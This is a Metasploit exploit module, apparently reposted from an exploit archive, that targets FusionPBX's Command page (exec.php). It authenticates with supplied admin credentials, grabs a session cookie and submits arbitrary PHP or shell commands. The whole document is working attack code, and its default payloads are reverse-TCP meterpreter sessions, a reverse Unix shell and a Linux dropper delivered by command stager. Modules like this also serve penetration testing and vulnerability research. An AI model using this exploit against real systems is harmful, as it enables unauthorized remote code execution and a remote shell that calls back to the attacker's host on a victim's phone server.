FusionPBX Command exec.php Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FusionPBX Command exec.php Command Execution',  
'Description' => %q{  
This module uses administrative functionality available in FusionPBX  
to gain a shell.  
  
The Command section of the application permits users with `exec_view`  
permissions, or superadmin permissions, to execute arbitrary system  
commands, or arbitrary PHP code, as the web server user.  
  
This module has been tested successfully on FusionPBX version  
4.4.1 on Ubuntu 19.04 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' => ['bcoles'],  
'References' =>  
[  
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']  
],  
'Platform' => %w[php linux unix],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
['Automatic (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},  
'Type' => :php_memory  
],  
['Automatic (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},  
'Type' => :unix_memory  
],  
['Automatic (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},  
'Type' => :linux_dropper  
]  
],  
'Privileged' => false,  
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },  
'DisclosureDate' => '2019-11-02',  
'DefaultTarget' => 0))  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),  
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),  
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])  
]  
end  
  
def login(user, pass)  
vprint_status "Authenticating as user '#{user}'"  
  
vars_post = {  
username: user,  
password: pass,  
path: ''  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),  
'vars_post' => vars_post  
})  
  
unless res  
fail_with Failure::Unreachable, 'Connection failed'  
end  
  
if res.code == 302 && res.headers['location'].include?('login.php')  
fail_with Failure::NoAccess, "Login failed for user '#{user}'"  
end  
  
unless res.code == 200  
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"  
end  
  
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first  
  
unless cookie  
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'  
end  
  
print_good "Authenticated as user '#{user}'"  
  
cookie  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
if res.body.include?('FusionPBX')  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
end  
  
def execute_command(cmd, opts = {})  
vars_post = {  
handler: 'php',  
table_name: '',  
sql_type: '',  
id: '',  
cmd: cmd  
}  
  
case opts[:handler]  
when 'php'  
vars_post[:handler] = 'php'  
when 'shell'  
vars_post[:handler] = 'shell'  
when 'switch'  
vars_post[:handler] = 'switch'  
vars_post[:cmd] = "bg_system #{cmd}"  
else  
vars_post[:handler] = 'shell'  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),  
'cookie' => "PHPSESSID=#{@cookie}",  
'vars_post' => vars_post  
}, 5)  
  
unless res  
return if session_created?  
fail_with Failure::Unreachable, 'Connection failed'  
end  
  
unless res.code == 200  
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"  
end  
  
if res.body.include? 'access denied'  
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"  
end  
  
res  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"  
end  
  
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])  
  
print_status "Sending payload (#{payload.encoded.length} bytes) ..."  
  
case target['Type']  
when :php_memory  
execute_command(payload.encoded, handler: 'php')  
when :unix_memory  
execute_command(payload.encoded, handler: 'shell')  
when :linux_dropper  
execute_cmdstager(:linemax => 1_500, handler: 'shell')  
end  
end  
end  
`